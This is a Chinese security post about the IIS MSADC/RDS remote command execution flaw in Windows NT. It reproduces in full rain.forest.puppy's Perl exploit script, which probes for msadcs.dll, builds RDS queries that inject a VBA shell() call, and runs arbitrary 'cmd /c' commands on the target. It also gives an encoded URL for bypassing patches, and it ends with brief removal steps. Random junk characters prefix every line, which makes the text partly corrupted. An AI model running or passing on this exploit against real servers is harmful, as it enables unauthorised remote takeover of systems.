IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)4@La& [->uDbt zL 涉及程序:
%n7mN]) Microsoft NT server
yv&VK ht sb^%eUU]) 描述:
SmR"gu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Y%"6 9f+S-! 详细:
Ta0Ln 如果你没有时间读详细内容的话,就删除:
;WG6|QgV?- c:\Program Files\Common Files\System\Msadc\msadcs.dll
6.|Qyk* 有关的安全问题就没有了。
wy)I6`v -kZOve|5 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
P*M$^p H[S 4o, 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Q
\E[py 关于利用ODBC远程漏洞的描述,请参看:
:j=/>d],% /`)>W : http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gOnVN6 @jvF[wi; 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!~Am1\02 http://www.microsoft.com/security/bulletins/MS99-025faq.asp `tZ-8f _t+.I9kQ 这里不再论述。
h4\j=Np O
F|3y~z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
#^Io9dAh L(Ffa(i /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k%[pZ5.! 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
WOgPhJ 7G^`'oZ 2:>|zmh_ #将下面这段保存为txt文件,然后: "perl -x 文件名"
xbeVqP B"9 /+Yj #!perl
5qx,b&^w #
K.{:H4_ # MSADC/RDS 'usage' (aka exploit) script
n,.ZLuBEX #
4Em$L]7 # by rain.forest.puppy
liuF;* #
EP;TfWc}1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"N|gU;~W # beta test and find errors!
$2?10}mrx AlQE;4yX use Socket; use Getopt::Std;
$u`v
k|\R getopts("e:vd:h:XR", \%args);
R"0fZENTG 9*"Ae0ok1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YH%aPsi #UO#kC<2(B if (!defined $args{h} && !defined $args{R}) {
Ig*qn# Dd print qq~
@fML.AT Usage: msadc.pl -h <host> { -d <delay> -X -v }
8D[,z 7n -h <host> = host you want to scan (ip or domain)
n%"0%A -d <seconds> = delay between calls, default 1 second
S@N:Cj -X = dump Index Server path table, if available
y_mD9bgW -v = verbose
u\,("2ZW9+ -e = external dictionary file for step 5
RkW)B^# %#^)hX,+Q Or a -R will resume a command session
Z6Owxqfht Ul41RNy) ~; exit;}
W%)uKQha Lh"!Z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N0:gY]o% if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
B<`'h if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
e{8j(` (;# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<Fc @T4Q, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rps2sXGr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z
g '1T2t tBZ&h`
V if (!defined $args{R}){ $ret = &has_msadc;
^3qo%=i die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~|7jz;$V 99<0xN(25 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KG5h$eM' . "cmd /c ";
=h#3D?b0n $in=<STDIN>; chomp $in;
bkZ~O=uv$- $command="cmd /c " . $in ;
WrS|$: 0 }.uB6&!: if (defined $args{R}) {&load; exit;}
h kh b8zS JMnk~8O print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&vy/Vd &try_btcustmr;
)Apg 8\85Wk{b print "\nStep 2: Trying to make our own DSN...";
[ NSsT>C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
c2,1d` ^YpA@`n print "\nStep 3: Trying known DSNs...";
bg8<}~zg &known_dsn;
w# t[sI"IT \;b)qB print "\nStep 4: Trying known .mdbs...";
6"d^4L? &known_mdb;
]Gm$0uS ~sI$xX! if (defined $args{e}){
{u1Rc/Lw print "\nStep 5: Trying dictionary of DSN names...";
6__#n` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T2nbU6H GCf3'u print "Sorry Charley...maybe next time?\n";
t:|+U:! > exit;
o9l =Q b`4R`mo ##############################################################################
~}c`r 4 2(,
`9 sub sendraw { # ripped and modded from whisker
kg>Ymo. sleep($delay); # it's a DoS on the server! At least on mine...
| Q
Y_ci my ($pstr)=@_;
UHtxzp =[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\Lz2"JI die("Socket problems\n");
BZXP%{njS if(connect(S,pack "SnA4x8",2,80,$target)){
#b~wIOR)Z select(S); $|=1;
>UP{=` print $pstr; my @in=<S>;
ed,w-;(n~ select(STDOUT); close(S);
B" -gK20vY return @in;
:uAW } else { die("Can't connect...\n"); }}
GS%i<HQ3 ,@_$acm ##############################################################################
L=. 4x=%% n.[0#Ur&} sub make_header { # make the HTTP request
<eObQ[mQ my $msadc=<<EOT
Bh9O<|E POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!Cm<K*c"&E User-Agent: ACTIVEDATA
%'}L.OvG Host: $ip
_L6WbRu| Content-Length: $clen
M NE{mV( Connection: Keep-Alive
q/o|uAq T:$zNX<f ADCClientVersion:01.06
*3yeMxa Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"%c\i-&t
k~(j --!ADM!ROX!YOUR!WORLD!
d2Z kchf Content-Type: application/x-varg
Y4%Bx8 Content-Length: $reqlen
H$^b.5K 9I a4PPEH1 EOT
+TzF*Np ; $msadc=~s/\n/\r\n/g;
Ek [V A\G return $msadc;}
?UXKy VQm)32' ##############################################################################
C-;y#a) t|gEMDGa3 sub make_req { # make the RDS request
O1@-)<_71 my ($switch, $p1, $p2)=@_;
KfU4#2} my $req=""; my $t1, $t2, $query, $dsn;
(c/H$' vrtK~5K if ($switch==1){ # this is the btcustmr.mdb query
%$b)l?! $query="Select * from Customers where City=" . make_shell();
k,L , $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
uC3o@qGW< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
[69[Ct \#(cI elsif ($switch==2){ # this is general make table query
;&2J9 $query="create table AZZ (B int, C varchar(10))";
G`9\v=0 $dsn="$p1";}
uzO%+B! f\Bd lOJ> elsif ($switch==3){ # this is general exploit table query
}+[H~8)5 $query="select * from AZZ where C=" . make_shell();
y.AF90Q>) $dsn="$p1";}
ZQT14. $L ^A8'YTl elsif ($switch==4){ # attempt to hork file info from index server
Ni5~Buf $query="select path from scope()";
1cE3uA7 $dsn="Provider=MSIDXS;";}
x1m J&D 8&6h() elsif ($switch==5){ # bad query
S~\i"A)4 $query="select";
360V $dsn="$p1";}
O a_2J#~$ kL.JrbM" $t1= make_unicode($query);
z6)SaSYE $t2= make_unicode($dsn);
&qki
NS $req = "\x02\x00\x03\x00";
6V= 69} $req.= "\x08\x00" . pack ("S1", length($t1));
Q 'R@'W9 $req.= "\x00\x00" . $t1 ;
:t\pi.uWt $req.= "\x08\x00" . pack ("S1", length($t2));
K~A$>0c $req.= "\x00\x00" . $t2 ;
$oO9N^6yF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eRC
/Pr return $req;}
VGoD2,(b^ )5Ddvz>+ ##############################################################################
A
KO#$OJE AL/q6PWi sub make_shell { # this makes the shell() statement
\UI7H1XDH return "'|shell(\"$command\")|'";}
=T)4Oziks }/ 6Q3B ##############################################################################
]HP
aM 1FU(j*~: sub make_unicode { # quick little function to convert to unicode
0>Y3>vwSl my ($in)=@_; my $out;
&pS <4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
uBLI!N-G return $out;}
5;+OpB B\a-Q,Wf ##############################################################################
4,m
aA BN&^$1F(( sub rdo_success { # checks for RDO return success (this is kludge)
t\nYUL-H my (@in) = @_; my $base=content_start(@in);
&B
uO- if($in[$base]=~/multipart\/mixed/){
6P=6E return 1 if( $in[$base+10]=~/^\x09\x00/ );}
gc-yUH0I return 0;}
o5gt`H" 'c 0]8Y4
##############################################################################
1 dT1DcZ fYF\5/_ sub make_dsn { # this makes a DSN for us
5V&3m@d0aq my @drives=("c","d","e","f");
<syMrXk)R( print "\nMaking DSN: ";
ANEW^\ foreach $drive (@drives) {
T:aYv;#0 print "$drive: ";
c&.>SR') my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!Q!==*1H "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-QL_a8NL . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{D1"bDZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4l+"J:, return 0 if $2 eq "404"; # not found/doesn't exist
V6Kw71'9 if($2 eq "200") {
G(F}o] foreach $line (@results) {
* 8n0 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
EnXNTat}) } return 0;}
!T/^zc;G 6q
._8% ##############################################################################
${^WM}N
w-l:* EV8 sub verify_exists {
R]e?<,"X my ($page)=@_;
c%_I|h<?iT my @results=sendraw("GET $page HTTP/1.0\n\n");
~"89NVk" return $results[0];}
(]0JI1
d 8^CdE*a ##############################################################################
=Jfo=`da e&zZr]vs]l sub try_btcustmr {
4QODuyl2H my @drives=("c","d","e","f");
o5dPE{f my @dirs=("winnt","winnt35","winnt351","win","windows");
gT$`a mGZ^K,)&OR foreach $dir (@dirs) {
RnV
)* print "$dir -> "; # fun status so you can see progress
VdpwZ foreach $drive (@drives) {
(K"U# Zn print "$drive: "; # ditto
~G.'pyW $reqlen=length( make_req(1,$drive,$dir) ) - 28;
iE$qq~% $reqlenlen=length( "$reqlen" );
eO#Kn'5 $clen= 206 + $reqlenlen + $reqlen;
Lu!o!>b X(Gp3lG
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
jovI8Dw
>
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G9ku(2cq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+CL`]'~;E- coq7La[ ##############################################################################
n}cjVH5 fB+4mEG@ sub odbc_error {
$8gj}0}eH my (@in)=@_; my $base;
x5_V5A/@LU my $base = content_start(@in);
ehB (? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>ENZ['F $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XlPq>@4p $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R{"Kh2q_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Mz,G;x} return $in[$base+4].$in[$base+5].$in[$base+6];}
&@CcH_d* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
lt\.
)Y>4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7}>7@W8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
C&Rv$<qc T$[50~ ##############################################################################
`6a b_2bg>|; sub verbose {
gE$D#PZa my ($in)=@_;
xi|T7,\X return if !$verbose;
fz'@ON print STDOUT "\n$in\n";}
%O]]La 53efF bo ##############################################################################
#!="b8F ]t$wK sub save {
]E/^(T-O my ($p1, $p2, $p3, $p4)=@_;
Dy`;]-b6u open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/
i[F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~>vv9-_ close OUT;}
57 (bd0@8 7]se!k, ##############################################################################
r'!L}^n h=tzG KI sub load {
m,YBk<Bx my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_p0@1 s(U open(IN,"<rds.save") || die("Couldn't open rds.save\n");
SVKjhZK @p=<IN>; close(IN);
bzYj`t? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
LYY3*d $target= inet_aton($ip) || die("inet_aton problems");
9yla &XTD print "Resuming to $ip ...";
3%gn:.9N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DJ)Q,l*|N9 if($p[1]==1) {
MvV\?Lzj $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_Q XC5i $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
h"R{{yf2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}7)iLfi if (rdo_success(@results)){print "Success!\n";}
Z!HQ|')N5 else { print "failed\n"; verbose(odbc_error(@results));}}
H,8HGL[l elsif ($p[1]==3){
X0a)6HZ{ if(run_query("$p[3]")){
"m2g"xa\7 print "Success!\n";} else { print "failed\n"; }}
?r
P'PUB elsif ($p[1]==4){
yR?S]
if(run_query($drvst . "$p[3]")){
9R$0[HbI3 print "Success!\n"; } else { print "failed\n"; }}
QX`Qnk|Y exit;}
hb@,fgo!Q q|N,?f9 ##############################################################################
~4-:;8a C8dC_9 sub create_table {
g"b{M my ($in)=@_;
d2'1
6.lV $reqlen=length( make_req(2,$in,"") ) - 28;
nh"8on]M~ $reqlenlen=length( "$reqlen" );
Klr+\R@(n $clen= 206 + $reqlenlen + $reqlen;
#R^^XG`1 my @results=sendraw(make_header() . make_req(2,$in,""));
T,G38 return 1 if rdo_success(@results);
)>-94xx| my $temp= odbc_error(@results); verbose($temp);
D1G9^7:^E return 1 if $temp=~/Table 'AZZ' already exists/;
[%?ViKW return 0;}
ZQ@Ul :{7gZ+*
##############################################################################
?rauhTVnJ BOc2<M/\ sub known_dsn {
e'nhP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
dV/ ^@[ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C[X2]zr "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
M%{,?a0V "banner", "banners", "ads", "ADCDemo", "ADCTest");
U+[ p>iP nC6 ;:uM foreach $dSn (@dsns) {
wlC7;u print ".";
8&q[jxI@8 next if (!is_access("DSN=$dSn"));
<PMQ$s>KK if(create_table("DSN=$dSn")){
fX:=_c print "$dSn successful\n";
/7[U J' if(run_query("DSN=$dSn")){
>~+qU&'2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$X\deJ1Hi print "Something's borked. Use verbose next time\n";}}} print "\n";}
*WzvPl$e @O]v.<8 ##############################################################################
"+dByaY -K%hug
sub is_access {
n?a?U: my ($in)=@_;
>^!)G^B $reqlen=length( make_req(5,$in,"") ) - 28;
6j2mr6o $reqlenlen=length( "$reqlen" );
J?y0RX $clen= 206 + $reqlenlen + $reqlen;
f3;.+hJ]) my @results=sendraw(make_header() . make_req(5,$in,""));
bz'#YM my $temp= odbc_error(@results);
*@+E82D verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z@1vJH6IbA return 0;}
PS:"mP7n Mp-hNO}.Z ##############################################################################
Q0j4c Crg@05Z sub run_query {
vRI0fDu my ($in)=@_;
!pJd^|4A] $reqlen=length( make_req(3,$in,"") ) - 28;
4QZ|e{t $reqlenlen=length( "$reqlen" );
pB;8yz= $clen= 206 + $reqlenlen + $reqlen;
59k[A~)~ my @results=sendraw(make_header() . make_req(3,$in,""));
*!5X!\e_ return 1 if rdo_success(@results);
B'}pZOa[Wb my $temp= odbc_error(@results); verbose($temp);
Bx" eX>A8 return 0;}
BbCaIt +{b3A@f|F ##############################################################################
T8t_+|(
G 07
E9[U[ sub known_mdb {
;${_eab] my @drives=("c","d","e","f","g");
pP|LSrY! my @dirs=("winnt","winnt35","winnt351","win","windows");
Bw Cwy my $dir, $drive, $mdb;
bmP2nD6 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O[<YYL0
Neb") # this is sparse, because I don't know of many
e8,!x9%J my @sysmdbs=( "\\catroot\\icatalog.mdb",
%=*nJvYS "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
is6M{K3 "\\system32\\certmdb.mdb",
;
8B)J<y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Oj]4jRew #E;a;$p my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
yM
PZ} "\\cfusion\\cfapps\\forums\\forums_.mdb",
opIbs7k- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
w l#jSj%pd "\\cfusion\\cfapps\\security\\realm_.mdb",
QLLMSa+! \ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T*1 `MIkv "\\cfusion\\database\\cfexamples.mdb",
(k$KUP "\\cfusion\\database\\cfsnippets.mdb",
7*>(C*q= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;!:@3c "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
q]\GBRp "\\cfusion\\brighttiger\\database\\cleam.mdb",
x%J.$o[<_ "\\cfusion\\database\\smpolicy.mdb",
Lk`,mjhk "\\cfusion\\database\cypress.mdb",
~!7!Y~(+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
iF^
"\\website\\cgi-win\\dbsample.mdb",
4?',E ddo "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
CFW#+U#U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~{00moN"m ); #these are just
d`sIgll&n foreach $drive (@drives) {
f=cj5T:[ foreach $dir (@dirs){
\N a foreach $mdb (@sysmdbs) {
`gE_u print ".";
kP[LS1}* if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_xu_W;nh print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2]'cj if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+Ua.\1"6 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dw YGhhm } else { print "Something's borked. Use verbose next time\n"; }}}}}
a0)] W%F LB\+*P6QM foreach $drive (@drives) {
ZOzwO6(_ foreach $mdb (@mdbs) {
/
0ra]}[( print ".";
4NDT5sL if(create_table($drv . $drive . $dir . $mdb)){
}!^`%\ %\ print "\n" . $drive . $dir . $mdb . " successful\n";
Xf6\{ if(run_query($drv . $drive . $dir . $mdb)){
S]g`Ds< print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
b{(= C
3 } else { print "Something's borked. Use verbose next time\n"; }}}}
pT<}n 9yB5 }
,7os3~Mk9 :TRhk. ##############################################################################
|y DaFv EHH+)mlo sub hork_idx {
X*<
!_3 print "\nAttempting to dump Index Server tables...\n";
i-M<_62c print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
(_n U}<y_i $reqlen=length( make_req(4,"","") ) - 28;
?656P=b) $reqlenlen=length( "$reqlen" );
/D,<2>o $clen= 206 + $reqlenlen + $reqlen;
EY}*}- 3 my @results=sendraw2(make_header() . make_req(4,"",""));
Z@gEJ^"yA" if (rdo_success(@results)){
(Y~gItej my $max=@results; my $c; my %d;
|0$7{nQ for($c=19; $c<$max; $c++){
`7
3I}%? $results[$c]=~s/\x00//g;
hwi$:[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
xz*MFoE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nq 9{{oe $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<o: O<p@6 $d{"$1$2"}="";}
Xu%8Q?] foreach $c (keys %d){ print "$c\n"; }
a+
s%9l } else {print "Index server doesn't seem to be installed.\n"; }}
kn= fW1 60X))MyN ##############################################################################
;R*tT%Z, 4YyVh.x sub dsn_dict {
3Bbd2[<W open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n0vhc; d while(<IN>){
Psw<9[ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
W/G75o~6 next if (!is_access("DSN=$dSn"));
3Q2z+`x' if(create_table("DSN=$dSn")){
TQ69O + print "$dSn successful\n";
Tu7}*vsR
if(run_query("DSN=$dSn")){
.q5WK#^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
eeCrHt4; print "Something's borked. Use verbose next time\n";}}}
3)3$ L print "\n"; close(IN);}
c3!YA"5 qMmhVUx ##############################################################################
_Eus7 xi}3)5 sub sendraw2 { # ripped and modded from whisker
>*"1`vcxF sleep($delay); # it's a DoS on the server! At least on mine...
wj-z;YCV my ($pstr)=@_;
d6zfP1lQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@%
.;}tC die("Socket problems\n");
_KAg1Ww if(connect(S,pack "SnA4x8",2,80,$target)){
ftccga print "Connected. Getting data";
OYj~"-3y) open(OUT,">raw.out"); my @in;
_.+2sm select(S); $|=1; print $pstr;
T3In0LQ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
, A;wLI close(OUT); select(STDOUT); close(S); return @in;
}]+k } else { die("Can't connect...\n"); }}
NflRNu:- 9PWqoz2c ##############################################################################
C
o," `FRdo sub content_start { # this will take in the server headers
arb'.:[z^ my (@in)=@_; my $c;
!b?`TUt for ($c=1;$c<500;$c++) {
gbT1d:T if($in[$c] =~/^\x0d\x0a/){
H57wzG{xG if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`8b4P>';O' else { return $c+1; }}}
n|) JhXQ return -1;} # it should never get here actually
p#>d1R1& ,`U'q|b ##############################################################################
s/0~!0 &e;GoJ sub funky {
8=WX`*-uH my (@in)=@_; my $error=odbc_error(@in);
UsnIx54D3 if($error=~/ADO could not find the specified provider/){
de,4Ms!% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
fea4Ul{ib exit;}
A*TO0L if($error=~/A Handler is required/){
e<duDW$X print "\nServer has custom handler filters (they most likely are patched)\n";
r%vO^8FQ exit;}
qqr]S^WW if($error=~/specified Handler has denied Access/){
gF~#M1!! print "\nServer has custom handler filters (they most likely are patched)\n";
vhL/L?NB$ exit;}}
L
/V;; 04@?Jb1 * ##############################################################################
f1
Zj:3e /m8&E*+T1 sub has_msadc {
b
=R9@! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K yDPD' my $base=content_start(@results);
\KkAU 6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\><v1x>; return 0;}
#jT=;G7f2 R[f@g;h ########################
pXl*`[0X# LHHDD\X c-=z<:Kf 解决方案:
y aLc~K 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`l}+BI`4 2、移除web 目录: /msadc